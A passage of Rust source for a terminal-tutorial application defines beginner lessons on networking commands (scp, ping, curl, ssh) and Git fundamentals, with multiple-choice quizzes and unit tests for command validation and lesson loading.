1874 content: "'scp' (secure copy) transfers files over SSH.\n\nSyntax:\n scp source destination\n\nUpload to remote:\n scp file.txt user@host:/path/\n scp -r folder/ user@host:/path/ (recursive, for directories)\n\nDownload from remote:\n scp user@host:/path/file.txt ./\n scp user@host:/path/file.txt local-name.txt\n\nExamples:\n scp report.pdf alice@server.com:~/documents/\n scp alice@server.com:~/backup.tar.gz ./\n scp -r photos/ alice@server.com:~/Pictures/\n scp -P 2222 file.txt user@host:/tmp/ (custom port)\n\nUseful flags:\n -r Recursive (copy directories)\n -P port Custom SSH port\n -i keyfile Use specific SSH key\n -C Compress during transfer\n -v Verbose output\n\nAlternatives:\n rsync Better for large/many files (resumes, incremental)\n sftp Interactive file transfer (like FTP but secure)".to_string(),
1875 },
1876 },
1877 LessonStep {
1878 step_number: 11,
1879 title: "Network Troubleshooting".to_string(),
1880 instruction: "".to_string(),
1881 hint: None,
1882 step_type: StepType::Information {
1883 content: "Common network troubleshooting workflow:\n\n1. Check local network:\n ping 127.0.0.1 Am I working? (localhost)\n ping 192.168.1.1 Can I reach router?\n\n2. Check internet connectivity:\n ping 8.8.8.8 Can I reach Google DNS? (tests connection)\n ping google.com Can I reach by name? (tests DNS)\n\n3. Check specific service:\n ping example.com Is host reachable?\n curl -I https://example.com Is web server responding?\n ssh user@example.com Can I connect via SSH?\n\n4. Check DNS:\n nslookup example.com What's the IP address?\n host example.com Alternative DNS lookup\n\n5. Check open ports:\n nc -zv example.com 80 Is port 80 open?\n telnet example.com 22 Is SSH port responding?\n\nCommon issues:\n • ping works, web doesn't → Firewall or web server issue\n • IP works, domain doesn't → DNS problem\n • Everything fails → Check physical connection, router, ISP".to_string(),
1884 },
1885 },
1886 LessonStep {
1887 step_number: 12,
1888 title: "Completion: Network Basics Mastered!".to_string(),
1889 instruction: "".to_string(),
1890 hint: None,
1891 step_type: StepType::Information {
1892 content: "Excellent work! You've learned essential networking!\n\nKey commands:\n ping -c 4 host Test connectivity\n curl https://url Fetch web content\n curl -O https://url/file Download file\n wget https://url/file Download file\n wget -c url Resume download\n\nRemote access:\n ssh user@host Remote terminal\n ssh -p port user@host Custom SSH port\n scp file user@host:/path Upload file\n scp user@host:/path/file . Download file\n scp -r dir user@host:/path Upload directory\n\nTroubleshooting:\n ping 8.8.8.8 Test internet\n ping google.com Test DNS\n curl -I https://site.com Test web server\n nslookup domain Check DNS\n\nQuick reference:\n • No internet? → ping 8.8.8.8\n • DNS issues? → ping IP works but domain doesn't\n • Download file? → wget or curl -O\n • Access server? → ssh user@host\n • Transfer files? → scp\n\nNext: Learn Git fundamentals!".to_string(),
1893 },
1894 },
1895 ],
1896 }
1897}
1898
1899fn create_git_fundamentals_lesson() -> Lesson {
1901 Lesson {
1902 id: "git-fundamentals".to_string(),
1903 title: "Git Fundamentals".to_string(),
1904 description: "Master version control with Git: init, clone, add, commit, push, pull, status, log, and diff commands.".to_string(),
1905 difficulty: Difficulty::Beginner,
1906 estimated_minutes: 15,
1907 prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1908 tags: vec!["beginner".to_string(), "git".to_string(), "version-control".to_string()],
1909 setup: vec![],
1910 steps: vec![
1911 LessonStep {
1912 step_number: 1,
1913 title: "What is Git?".to_string(),
1914 instruction: "".to_string(),
1915 hint: None,
1916 step_type: StepType::Information {
1917 content: "Welcome to Git Fundamentals!\n\nGit is a version control system - like 'Track Changes' for code.\n\nWhy use Git?\n • Track every change to your code\n • Collaborate with others without conflicts\n • Experiment safely (branches)\n • Roll back mistakes\n • See who changed what and when\n • Backup your work (via GitHub, GitLab, etc.)\n\nKey concepts:\n • Repository (repo): Project folder tracked by Git\n • Commit: Snapshot of your code at a point in time\n • Branch: Parallel version of your code\n • Remote: Server hosting your repo (GitHub, etc.)\n • Clone: Download a copy of a repository\n • Push: Upload your changes\n • Pull: Download others' changes\n\nGit is essential for:\n • Professional development\n • Open source contribution\n • Portfolio building\n • Team collaboration".to_string(),
1918 },
1919 },
1920 LessonStep {
1921 step_number: 2,
1922 title: "Initializing a Repository".to_string(),
1923 instruction: "".to_string(),
1924 hint: None,
1925 step_type: StepType::Information {
1926 content: "Starting a new Git project:\n\nCommand:\n git init\n\nWhat it does:\n • Creates a .git folder (hidden directory)\n • This folder stores all version history\n • Turns current directory into a Git repository\n\nWorkflow:\n mkdir my-project\n cd my-project\n git init\n # Now you have a Git repository!\n\nYou'll see:\n 'Initialized empty Git repository in /path/to/my-project/.git/'\n\nThe .git folder contains:\n • All commits\n • Branch information\n • Configuration\n • History\n\nIMPORTANT:\n • Don't delete .git folder (you'll lose all history!)\n • Don't manually edit files in .git/\n • One .git per project (not per subfolder)\n\nAlternative: Clone existing repository\n git clone https://github.com/user/repo.git".to_string(),
1927 },
1928 },
1929 LessonStep {
1930 step_number: 3,
1931 title: "Checking Repository Status".to_string(),
1932 instruction: "The most important Git command is 'git status'. It shows what's changed. Try it: git status".to_string(),
1933 hint: Some("Type: git status".to_string()),
1934 step_type: StepType::CommandExercise {
1935 expected_command: "git status".to_string(),
1936 validation: CommandValidation::CommandOnly,
1937 success_message: "Perfect! 'git status' is your best friend. Run it constantly to see:\n • Which files changed\n • Which changes are staged for commit\n • Which branch you're on\n • If you're ahead/behind remote\n\nMake it a habit to run 'git status' before every commit!".to_string(),
1938 },
1939 },
1940 LessonStep {
1941 step_number: 4,
1942 title: "Understanding Git Workflow".to_string(),
1943 instruction: "".to_string(),
1944 hint: None,
1945 step_type: StepType::Information {
1946 content: "The Git workflow has three stages:\n\n1. WORKING DIRECTORY (modified files)\n ↓\n git add (stage changes)\n ↓\n2. STAGING AREA (files ready to commit)\n ↓\n git commit (save snapshot)\n ↓\n3. REPOSITORY (committed history)\n ↓\n git push (upload to remote)\n ↓\n4. REMOTE (GitHub, GitLab, etc.)\n\nThink of it like:\n • Working Directory = Your desk (working on documents)\n • Staging Area = Box for mail (selecting what to send)\n • Repository = Filing cabinet (permanent storage)\n • Remote = Cloud backup\n\nCommands:\n git status See what's changed\n git add file.txt Stage specific file\n git add . Stage all changes\n git commit -m 'msg' Save snapshot with message\n git push Upload to remote\n git pull Download from remote".to_string(),
1947 },
1948 },
1949 LessonStep {
1950 step_number: 5,
1951 title: "Staging Changes with git add".to_string(),
1952 instruction: "".to_string(),
1953 hint: None,
1954 step_type: StepType::Information {
1955 content: "'git add' stages files for commit.\n\nCommands:\n git add file.txt Stage one file\n git add file1 file2 Stage multiple files\n git add . Stage all changes in current directory\n git add -A Stage ALL changes everywhere\n git add *.js Stage all .js files\n git add -p Interactive staging (review each change)\n\nWhat 'staging' means:\n • You're selecting which changes to include in next commit\n • Lets you commit logical chunks, not everything at once\n • Like packing a box - choose what goes in\n\nExample workflow:\n # Edit multiple files\n git status # See what changed\n git add feature.js # Stage only the feature\n git status # Verify what's staged\n git commit -m 'Add feature'\n # Later...\n git add bugfix.js # Stage the bugfix separately\n git commit -m 'Fix bug'\n\nWhy stage separately?\n • Clean, focused commit history\n • Easier to review changes\n • Easier to revert specific features".to_string(),
1956 },
1957 },
1958 LessonStep {
1959 step_number: 6,
1960 title: "Quiz: Understanding git add".to_string(),
1961 instruction: "".to_string(),
1962 hint: None,
1963 step_type: StepType::MultipleChoice {
1964 question: "What does 'git add .' do?".to_string(),
1965 options: vec![
1966 "Commits all changes immediately".to_string(),
1967 "Stages all changes in the current directory and subdirectories".to_string(),
1968 "Deletes all unstaged files".to_string(),
1969 "Pushes changes to remote repository".to_string(),
1970 ],
1971 correct_index: 1,
1972 explanation: "Correct! 'git add .' stages all new, modified, and deleted files in the current directory and all subdirectories. The dot (.) means 'current directory and everything under it'. This DOES NOT commit anything yet - you still need 'git commit' to save the snapshot. It's like putting documents in a box before mailing them.".to_string(),
1973 },
1974 },
1975 LessonStep {
1976 step_number: 7,
1977 title: "Committing Changes".to_string(),
1978 instruction: "".to_string(),
1979 hint: None,
1980 step_type: StepType::Information {
1981 content: "'git commit' saves a snapshot of staged changes.\n\nBasic usage:\n git commit -m \"Commit message\"\n git commit -m \"Add user login feature\"\n\nLonger messages:\n git commit\n # Opens editor for multi-line message\n # First line: summary (50 chars or less)\n # Blank line\n # Detailed explanation\n\nCommit message best practices:\n ✓ Use present tense: \"Add feature\" not \"Added feature\"\n ✓ Be specific: \"Fix login validation bug\" not \"Fix bug\"\n ✓ Keep first line under 50 characters\n ✓ Explain WHY, not just WHAT\n\nGood examples:\n \"Add password reset functionality\"\n \"Fix memory leak in image processor\"\n \"Update dependencies to patch security issue\"\n\nBad examples:\n \"stuff\" \"wip\" \"fixed it\" \"asdfasdf\" \"changes\"\n\nUseful flags:\n git commit -m \"message\" Quick commit\n git commit -a -m \"msg\" Stage + commit modified files (not new files)\n git commit --amend Fix last commit message".to_string(),
1982 },
1983 },
1984 LessonStep {
1985 step_number: 8,
1986 title: "Viewing Commit History".to_string(),
1987 instruction: "The 'git log' command shows commit history. Try it: git log".to_string(),
1988 hint: Some("Type: git log (press 'q' to exit)".to_string()),
1989 step_type: StepType::CommandExercise {
1990 expected_command: "git log".to_string(),
1991 validation: CommandValidation::CommandOnly,
1992 success_message: "Great! git log shows:\n • Commit hash (unique ID)\n • Author\n • Date\n • Commit message\n\nUseful variations:\n git log --oneline Compact view\n git log --graph Show branch graph\n git log -n 5 Last 5 commits\n git log --author='Alice' Commits by Alice\n git log file.txt History of specific file".to_string(),
1993 },
1994 },
1995 LessonStep {
1996 step_number: 9,
1997 title: "Viewing Changes with git diff".to_string(),
1998 instruction: "".to_string(),
1999 hint: None,
2000 step_type: StepType::Information {
2001 content: "'git diff' shows what changed.\n\nUsage:\n git diff Changes not yet staged\n git diff --staged Changes that are staged\n git diff HEAD All changes (staged + unstaged)\n git diff branch1 branch2 Compare branches\n git diff commit1 commit2 Compare commits\n git diff file.txt Changes in specific file\n\nReading diff output:\n --- a/file.txt Original file\n +++ b/file.txt Modified file\n @@ -10,7 +10,7 @@ Line numbers\n -old line Line removed (red)\n +new line Line added (green)\n unchanged Context line\n\nPractical uses:\n • Before staging: Review what you're about to add\n • Before committing: Double-check staged changes\n • Code review: See what changed in a commit\n • Debugging: When did this line change?\n\nWorkflow:\n # Make changes\n git diff # Review changes\n git add file.txt\n git diff --staged # Review what's staged\n git commit -m \"msg\"".to_string(),
2002 },
2003 },
2004 LessonStep {
2005 step_number: 10,
2006 title: "Cloning Repositories".to_string(),
2007 instruction: "".to_string(),
2008 hint: None,
2009 step_type: StepType::Information {
2010 content: "'git clone' downloads a repository.\n\nUsage:\n git clone https://github.com/user/repo.git\n git clone https://github.com/user/repo.git my-folder\n git clone git@github.com:user/repo.git (SSH)\n\nWhat happens:\n 1. Creates a new folder with repo name\n 2. Downloads all files and history\n 3. Sets up remote connection to origin\n 4. Checks out the default branch (usually 'main')\n\nExamples:\n git clone https://github.com/torvalds/linux.git\n git clone https://github.com/microsoft/vscode.git\n\nAfter cloning:\n cd repo-name\n git status # Check status\n git log # See history\n git remote -v # See remote URLs\n\nHTTPS vs SSH:\n • HTTPS: Easy setup, requires password/token each time\n • SSH: Requires setup, but no password needed\n\nWhere to clone from?\n • GitHub (most popular)\n • GitLab\n • Bitbucket\n • Self-hosted servers".to_string(),
2011 },
2012 },
2013 LessonStep {
2014 step_number: 11,
2015 title: "Pushing and Pulling Changes".to_string(),
2016 instruction: "".to_string(),
2017 hint: None,
2018 step_type: StepType::Information {
2019 content: "Syncing with remote repositories:\n\ngit push - Upload your commits:\n git push Push current branch\n git push origin main Push 'main' to 'origin'\n git push -u origin branch Set upstream and push\n\ngit pull - Download and merge changes:\n git pull Pull current branch\n git pull origin main Pull from specific branch\n\nWorkflow:\n # Make changes locally\n git add .\n git commit -m \"Add feature\"\n git pull # Get latest changes from team\n git push # Upload your changes\n\nIMPORTANT:\n • Always pull before push (get latest changes first)\n • Pull before starting work each day\n • Push frequently (don't hoard commits)\n\nHandling conflicts:\n # If pull shows conflicts\n git status # See conflicting files\n # Edit files to resolve conflicts\n git add .\n git commit -m \"Merge conflicts\"\n git push\n\nOrigin:\n 'origin' is the default name for the remote repository\n git remote -v shows all remotes".to_string(),
2020 },
2021 },
2022 LessonStep {
2023 step_number: 12,
2024 title: "Quiz: Git Workflow".to_string(),
2025 instruction: "".to_string(),
2026 hint: None,
2027 step_type: StepType::MultipleChoice {
2028 question: "What's the correct order to save and upload changes?".to_string(),
2029 options: vec![
2030 "git commit → git add → git push".to_string(),
2031 "git add → git commit → git push".to_string(),
2032 "git push → git commit → git add".to_string(),
2033 "git add → git push → git commit".to_string(),
2034 ],
2035 correct_index: 1,
2036 explanation: "Correct! The workflow is:\n 1. git add (stage changes)\n 2. git commit (save snapshot locally)\n 3. git push (upload to remote)\n\nThink of it as:\n 1. Pack the box (add)\n 2. Seal and label the box (commit)\n 3. Mail the box (push)\n\nYou can't commit unstaged changes, and you can't push uncommitted changes!".to_string(),
2037 },
2038 },
2039 LessonStep {
2040 step_number: 13,
2041 title: "Essential Git Commands Summary".to_string(),
2042 instruction: "".to_string(),
2043 hint: None,
2044 step_type: StepType::Information {
2045 content: "Git command quick reference:\n\nSetup:\n git init Create new repository\n git clone url Download repository\n\nBasic workflow:\n git status Check status (run often!)\n git add file Stage file\n git add . Stage all changes\n git commit -m \"msg\" Save snapshot\n git push Upload to remote\n git pull Download from remote\n\nViewing:\n git log Commit history\n git log --oneline Compact history\n git diff Unstaged changes\n git diff --staged Staged changes\n\nConfiguration:\n git config --global user.name \"Your Name\"\n git config --global user.email \"you@example.com\"\n\nHelp:\n git help command Detailed help\n git command --help Same as above\n\nDaily workflow:\n 1. git pull (get latest)\n 2. Make changes\n 3. git status (check changes)\n 4. git add . (stage)\n 5. git commit -m \"\" (save)\n 6. git push (upload)".to_string(),
2046 },
2047 },
2048 LessonStep {
2049 step_number: 14,
2050 title: "Completion: Git Fundamentals Mastered!".to_string(),
2051 instruction: "".to_string(),
2052 hint: None,
2053 step_type: StepType::Information {
2054 content: "Congratulations! You've learned Git fundamentals!\n\nKey concepts mastered:\n • Repository: Version-tracked project\n • Commit: Snapshot of your code\n • Staging: Selecting changes to commit\n • Remote: Server hosting your code\n\nEssential commands:\n git init Start new repo\n git clone url Copy existing repo\n git status Check status\n git add . Stage changes\n git commit -m \"msg\" Save snapshot\n git log View history\n git diff See changes\n git push Upload commits\n git pull Download commits\n\nGit workflow:\n 1. Make changes\n 2. git add (stage)\n 3. git commit (save)\n 4. git push (share)\n\nBest practices:\n ✓ Commit often with clear messages\n ✓ Pull before push\n ✓ Run git status frequently\n ✓ Review changes with git diff\n ✓ Write meaningful commit messages\n\nNext steps:\n • Learn branching and merging\n • Explore GitHub/GitLab\n • Practice with real projects\n • Learn .gitignore\n\nYou're ready to version control like a pro!".to_string(),
2055 },
2056 },
2057 ],
2058 }
2059}
2060
2061#[cfg(test)]
2062mod tests {
2063 use super::*;
2064
2065 #[test]
2066 fn test_lesson_progress_new() {
2067 let progress = LessonProgress::new("test-lesson".to_string());
2068 assert_eq!(progress.lesson_id, "test-lesson");
2069 assert_eq!(progress.current_step, 1);
2070 assert!(!progress.is_completed());
2071 }
2072
2073 #[test]
2074 fn test_lesson_progress_completion() {
2075 let mut progress = LessonProgress::new("test-lesson".to_string());
2076 progress.complete_step(1);
2077 progress.complete_step(2);
2078 progress.complete_step(3);
2079
2080 assert_eq!(progress.completion_percentage(3), 100.0);
2081 assert_eq!(progress.completion_percentage(6), 50.0);
2082 }
2083
2084 #[test]
2085 fn test_command_validation_exact() {
2086 let validator = LessonValidator::new();
2087 let result = validator.validate_command(
2088 "ls -la",
2089 "ls -la",
2090 &CommandValidation::Exact,
2091 );
2092 assert!(result.is_success());
2093
2094 let result = validator.validate_command(
2095 "ls -l",
2096 "ls -la",
2097 &CommandValidation::Exact,
2098 );
2099 assert!(!result.is_success());
2100 }
2101
2102 #[test]
2103 fn test_command_validation_command_only() {
2104 let validator = LessonValidator::new();
2105 let result = validator.validate_command(
2106 "ls -la /home",
2107 "ls",
2108 &CommandValidation::CommandOnly,
2109 );
2110 assert!(result.is_success());
2111
2112 let result = validator.validate_command("cd /home", "ls", &CommandValidation::CommandOnly);
2114 assert!(!result.is_success());
2115
2116 let result = validator.validate_command("", "ls", &CommandValidation::CommandOnly);
2118 assert!(!result.is_success());
2119 }
2120
2121 #[test]
2122 fn test_command_validation_exact_negative() {
2123 let validator = LessonValidator::new();
2124 let validation = CommandValidation::Exact;
2125
2126 assert!(!validator.validate_command("pwd", "ls -la", &validation).is_success());
2128 assert!(!validator.validate_command("ls -l", "ls -la", &validation).is_success());
2130 assert!(!validator.validate_command("", "ls -la", &validation).is_success());
2132 }
2133
2134 #[test]
2135 fn test_command_validation_command_and_flags() {
2136 let validator = LessonValidator::new();
2137 let validation = CommandValidation::CommandAndFlags;
2138
2139 assert!(validator
2141 .validate_command("ls -la /home", "ls -la /home", &validation)
2142 .is_success());
2143
2144 assert!(validator
2147 .validate_command("ls -al /home", "ls -la /home", &validation)
2148 .is_success());
2149 assert!(validator
2150 .validate_command("ls -l -a /home", "ls -la /home", &validation)
2151 .is_success());
2152 assert!(validator
2153 .validate_command("ls -a -l /home", "ls -l -a /home", &validation)
2154 .is_success());
2155
2156 assert!(!validator
2158 .validate_command("dir -la /home", "ls -la /home", &validation)
2159 .is_success());
2160
2161 assert!(!validator
2163 .validate_command("ls -l /home", "ls -la /home", &validation)
2164 .is_success());
2165 assert!(!validator
2166 .validate_command("ls -lah /home", "ls -la /home", &validation)
2167 .is_success());
2168
2169 assert!(!validator
2171 .validate_command("ls -la /tmp", "ls -la /home", &validation)
2172 .is_success());
2173
2174 assert!(!validator.validate_command("", "ls -la /home", &validation).is_success());
2176 }
2177
2178 #[test]
2179 fn test_command_validation_regex() {
2180 let validator = LessonValidator::new();
2181 let validation = CommandValidation::Regex("ps.*8080|lsof.*8080".to_string());
2182
2183 assert!(validator
2185 .validate_command("ps aux | grep 8080", "", &validation)
2186 .is_success());
2187 assert!(validator
2188 .validate_command("lsof -i :8080", "", &validation)
2189 .is_success());
2190
2191 assert!(!validator.validate_command("ls -la", "", &validation).is_success());
2193 assert!(!validator.validate_command("", "", &validation).is_success());
2195
2196 let bad = CommandValidation::Regex("(unclosed".to_string());
2198 assert!(!validator.validate_command("anything", "", &bad).is_success());
2199 }
2200
2201 #[test]
2202 fn test_command_validation_any_of_negative() {
2203 let validator = LessonValidator::new();
2204 let validation = CommandValidation::AnyOf(vec!["cd".to_string(), "cd ~".to_string()]);
2205
2206 assert!(validator.validate_command("cd ~", "cd", &validation).is_success());
2207 assert!(!validator.validate_command("pwd", "cd", &validation).is_success());
2209 assert!(!validator.validate_command("cd /tmp", "cd", &validation).is_success());
2211 assert!(!validator.validate_command("", "cd", &validation).is_success());
2213 }
2214
2215 #[test]
2216 fn test_lesson_toml_round_trip() {
2217 let lesson = create_navigation_basics_lesson();
2218
2219 let toml_text = lesson.to_toml().expect("Lesson should serialize to TOML");
2220 let restored = Lesson::from_toml(&toml_text).expect("TOML should parse back to Lesson");
2221
2222 assert_eq!(restored.id, lesson.id);
2223 assert_eq!(restored.title, lesson.title);
2224 assert_eq!(restored.difficulty, lesson.difficulty);
2225 assert_eq!(restored.steps.len(), lesson.steps.len());
2226 assert_eq!(restored.prerequisites, lesson.prerequisites);
2227 assert_eq!(restored.tags, lesson.tags);
2228 assert_eq!(restored.setup, lesson.setup);
2229 }
2230
2231 #[test]
2232 fn test_lesson_toml_without_setup_still_parses() {
2233 let mut lesson = create_navigation_basics_lesson();
2236 lesson.setup.clear();
2237 let toml_text = lesson.to_toml().unwrap();
2238 assert!(
2239 !toml_text.contains("[[setup]]"),
2240 "empty setup should not serialize an array"
2241 );
2242
2243 let restored = Lesson::from_toml(&toml_text).expect("legacy TOML should parse");
2244 assert!(restored.setup.is_empty());
2245 }
2246
2247 #[test]
2248 fn test_lesson_toml_setup_round_trip() {
2249 let mut lesson = create_navigation_basics_lesson();
2250 lesson.setup = vec![SetupFile {
2251 path: "data/sample.txt".to_string(),
2252 contents: "hello\nworld\n".to_string(),
2253 }];
2254
2255 let toml_text = lesson.to_toml().unwrap();
2256 assert!(toml_text.contains("[[setup]]"));
2257
2258 let restored = Lesson::from_toml(&toml_text).unwrap();
2259 assert_eq!(restored.setup.len(), 1);
2260 assert_eq!(restored.setup[0].path, "data/sample.txt");
2261 assert_eq!(restored.setup[0].contents, "hello\nworld\n");
2262 }
2263
2264 #[test]
2265 fn test_builtin_lessons_have_starter_files_where_needed() {
2266 let library = LessonLibrary::new();
2267 for id in ["file-viewing", "file-mgmt", "text-processing"] {
2268 let lesson = library.get(id).expect("built-in lesson should exist");
2269 assert!(
2270 !lesson.setup.is_empty(),
2271 "lesson '{}' should ship starter files",
2272 id
2273 );
2274 for file in &lesson.setup {
2275 assert!(!file.path.starts_with('/'), "setup path must be relative");
2276 assert!(!file.path.contains(".."), "setup path must not contain ..");
2277 assert!(!file.contents.is_empty(), "setup contents must not be empty");
2278 }
2279 }
2280 }
2281
2282 #[test]
2283 fn test_library_load_from_dir() {
2284 let dir = std::env::temp_dir().join(format!(
2285 "arct-lesson-dir-test-{}",
2286 std::process::id()
2287 ));
2288 std::fs::create_dir_all(&dir).unwrap();
2289
2290 let mut custom = create_navigation_basics_lesson();
2292 custom.title = "Navigation Basics (User Override)".to_string();
2293 std::fs::write(dir.join("nav-basics.toml"), custom.to_toml().unwrap()).unwrap();
2294
2295 let mut extra = create_navigation_basics_lesson();
2297 extra.id = "user-extra".to_string();
2298 extra.title = "User Extra Lesson".to_string();
2299 std::fs::write(dir.join("user-extra.toml"), extra.to_toml().unwrap()).unwrap();
2300
2301 std::fs::write(dir.join("notes.txt"), "not a lesson").unwrap();
2303
2304 let mut library = LessonLibrary::new();
2305 let builtin_count = library.all().len();
2306 let loaded = library.load_from_dir(&dir).expect("load_from_dir should succeed");
2307
2308 assert_eq!(loaded, 2);
2309 assert_eq!(library.all().len(), builtin_count + 1);
2311 assert_eq!(
2312 library.get("nav-basics").unwrap().title,
2313 "Navigation Basics (User Override)"
2314 );
2315 assert_eq!(library.get("user-extra").unwrap().title, "User Extra Lesson");
2316
2317 let mut fresh = LessonLibrary::new();
2319 assert_eq!(fresh.load_from_dir(&dir.join("does-not-exist")).unwrap(), 0);
2320
2321 let _ = std::fs::remove_dir_all(&dir);
2322 }
2323}